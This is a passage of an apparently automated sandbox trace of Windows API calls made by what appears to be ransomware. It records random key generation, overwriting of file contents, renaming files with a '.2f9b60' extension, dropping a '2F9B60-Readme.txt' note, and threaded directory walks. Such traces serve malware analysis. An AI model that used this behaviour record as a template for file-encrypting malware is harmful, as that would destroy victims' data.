cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm")) returned 0x20 [0091.615] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", dwFileAttributes=0x20) returned 1 [0091.615] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xde8 [0091.615] GetFileSizeEx (in: hFile=0xde8, lpFileSize=0x1f5cfba0 | out: lpFileSize=0x1f5cfba0*=766) returned 1 [0091.615] SetFilePointerEx (in: hFile=0xde8, liDistanceToMove=0x2fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.615] ReadFile (in: hFile=0xde8, lpBuffer=0x1f5cfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f5cfb68, lpOverlapped=0x0 | out: lpBuffer=0x1f5cfb20*, lpNumberOfBytesRead=0x1f5cfb68*=0x4, lpOverlapped=0x0) returned 1 [0091.617] SetFilePointerEx (in: hFile=0xde8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b60 [0091.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bf0 [0091.617] NtQuerySystemTime (in: CurrentTime=0x1f5cfa60 | out: CurrentTime=0x1f5cfa60*=132462176974450000) returned 0x0 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x76a2ca8d [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x3695da09 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x1d3553b4 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x1e0d3085 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x14c07d7c [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0xb4e8163 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x70512e67 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x6677bb78 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x1ecb5f93 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x72c9faf2 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0xa732b21 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x10c083e7 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x6f5fad [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x3a2032f6 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x3519f460 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x3f955435 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x3ed5037a [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x68011328 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x777df415 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x224cee2 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x192e548d [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x7025d754 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x5f4d7906 [0091.617] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x5e42ce98 [0091.618] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x3a3e51b7 [0091.618] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x7e195552 [0091.618] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x33c37db1 [0091.618] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x6b742506 [0091.618] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x63865cca [0091.618] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x4c8d7d4a [0091.618] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x79a34606 [0091.618] RtlRandomEx (in: Seed=0x1f5cfa50 | out: Seed=0x1f5cfa50) returned 0x4f425b22 [0091.625] ReadFile (in: hFile=0xde8, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x1f5cfa50, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x1f5cfa50*=0x2fe, lpOverlapped=0x0) returned 1 [0091.625] SetFilePointerEx (in: hFile=0xde8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.625] WriteFile (in: hFile=0xde8, lpBuffer=0x201cc1b0*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x1f5cfa54, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesWritten=0x1f5cfa54*=0x2fe, lpOverlapped=0x0) returned 1 [0091.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8160 [0091.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0091.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8190) returned 1 [0091.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0091.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0091.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0091.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0091.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0091.709] SetFilePointerEx (in: hFile=0xde8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.709] WriteFile (in: hFile=0xde8, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x1f5cfb70, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x1f5cfb70*=0x104, lpOverlapped=0x0) returned 1 [0091.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0091.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0091.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0091.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0091.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0091.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b00) returned 1 [0091.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced7b00 [0091.736] sprintf (in: _Dest=0x1ced7b00, _Format="%c%c" | out: _Dest="47") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b02, _Format="%c%c" | out: _Dest="62") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b04, _Format="%c%c" | out: _Dest="00") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b06, _Format="%c%c" | out: _Dest="26") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b08, _Format="%c%c" | out: _Dest="11") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b0a, _Format="%c%c" | out: _Dest="b8") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b0c, _Format="%c%c" | out: _Dest="0a") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b0e, _Format="%c%c" | out: _Dest="9c") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b10, _Format="%c%c" | out: _Dest="df") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b12, _Format="%c%c" | out: _Dest="29") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b14, _Format="%c%c" | out: _Dest="2f") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b16, _Format="%c%c" | out: _Dest="ad") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b18, _Format="%c%c" | out: _Dest="e0") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b1a, _Format="%c%c" | out: _Dest="e7") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b1c, _Format="%c%c" | out: _Dest="bc") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b1e, _Format="%c%c" | out: _Dest="a6") returned 2 [0091.736] sprintf (in: _Dest=0x1ced7b20, _Format="%c%c" | out: _Dest="51") returned 2 [0091.737] sprintf (in: _Dest=0x1ced7b22, _Format="%c%c" | out: _Dest="b7") returned 2 [0091.737] RtlInitAnsiString (in: DestinationString=0x1f5cfbe8, SourceString="4762002611b80a9cdf292fade0e7bca651b7" | out: DestinationString="4762002611b80a9cdf292fade0e7bca651b7") [0091.737] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f5cfbb8, SourceString="4762002611b80a9cdf292fade0e7bca651b7", AllocateDestinationString=1 | out: DestinationString="4762002611b80a9cdf292fade0e7bca651b7") returned 0x0 [0091.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9e030 [0091.737] wcscat (in: _Dest=0x107a80, _Source="476200261" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261" [0091.737] wcscat (in: _Dest=0x107a80, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60" [0091.737] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60", NtPathName=0x1f5cfb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118880 [0091.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0091.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0091.770] NtQueryInformationFile (in: FileHandle=0xde8, IoStatusBlock=0x1f5cfbf8, FileInformation=0x1f5cfc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f5cfbf8, FileInformation=0x1f5cfc08) returned 0x0 [0091.770] NtSetInformationFile (FileHandle=0xde8, IoStatusBlock=0x1f5cfbf8, FileInformation=0x1f5cfc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0091.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e030) returned 1 [0091.788] FlushFileBuffers (hFile=0xde8) returned 1 [0091.793] CloseHandle (hObject=0xde8) returned 1 [0091.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107c00 [0091.811] wcscpy (in: _Dest=0x107c00, _Source="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0091.811] wcscat (in: _Dest=0x107c00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\2F9B60-Readme.txt" [0091.811] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\2f9b60-readme.txt")) returned 0xffffffff [0091.811] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xde8 [0091.838] WriteFile (in: hFile=0xde8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1f5cfab0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1f5cfab0*=0xba9, lpOverlapped=0x0) returned 1 [0091.851] CloseHandle (hObject=0xde8) returned 1 [0091.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 [0091.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 Thread: id = 479 os_tid = 0x924 [0091.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107840 [0091.631] wcscpy (in: _Dest=0x107840, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0091.632] wcscat (in: _Dest=0x107840, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0091.632] wcscat (in: _Dest=0x107840, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*" [0091.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99e10 [0091.632] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9deb0 [0091.632] wcscmp (_String1=".", _String2=".") returned 0 [0091.632] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.632] wcscmp (_String1="..", _String2=".") returned 1 [0091.632] wcscmp (_String1="..", _String2="..") returned 0 [0091.632] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0091.632] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0091.632] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0091.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b799610 [0091.632] wcscpy (in: _Dest=0x1b799610, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0091.632] wcscat (in: _Dest=0x1b799610, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0091.632] wcscat (in: _Dest=0x1b799610, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0096.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xddc [0096.996] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0096.996] FindClose (in: hFindFile=0x1cd9deb0 | out: hFindFile=0x1cd9deb0) returned 1 [0096.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99e10) returned 1 [0096.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107840) returned 1 [0096.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106dc0) returned 1 Thread: id = 480 os_tid = 0xc10 [0091.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9df10 [0091.910] wcscpy (in: _Dest=0x1cd9df10, _Source="C:\\ProgramData\\Sun\\Java\\Java Update" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update") returned="C:\\ProgramData\\Sun\\Java\\Java Update" [0091.910] wcscat (in: _Dest=0x1cd9df10, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\" [0091.910] wcscat (in: _Dest=0x1cd9df10, _Source="*" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\*") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\*" [0091.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99ba0 [0091.911] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9e030 [0091.911] wcscmp (_String1=".", _String2=".") returned 0 [0091.911] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.911] wcscmp (_String1="..", _String2=".") returned 1 [0091.911] wcscmp (_String1="..", _String2="..") returned 0 [0091.911] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 1 [0091.911] wcscmp (_String1="jaureglist.xml", _String2=".") returned 1 [0091.911] wcscmp (_String1="jaureglist.xml", _String2="..") returned 1 [0091.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b863960 [0091.911] wcscpy (in: _Dest=0x1b863960, _Source="C:\\ProgramData\\Sun\\Java\\Java Update" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update") returned="C:\\ProgramData\\Sun\\Java\\Java Update" [0091.911] wcscat (in: _Dest=0x1b863960, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\" [0091.911] wcscat (in: _Dest=0x1b863960, _Source="jaureglist.xml" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" [0096.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdec [0096.998] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 0 [0096.998] FindClose (in: hFindFile=0x1cd9e030 | out: hFindFile=0x1cd9e030) returned 1 [0096.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99ba0) returned 1 [0096.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9df10) returned 1 [0096.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 Thread: id = 481 os_tid = 0xc38 [0091.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b863a40 [0091.912] wcscpy (in: _Dest=0x1b863a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0091.912] wcscat (in: _Dest=0x1b863a40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0091.912] wcscat (in: _Dest=0x1b863a40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*" [0091.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99930 [0091.912] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dfd0 [0091.913] wcscmp (_String1=".", _String2=".") returned 0 [0091.913] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, 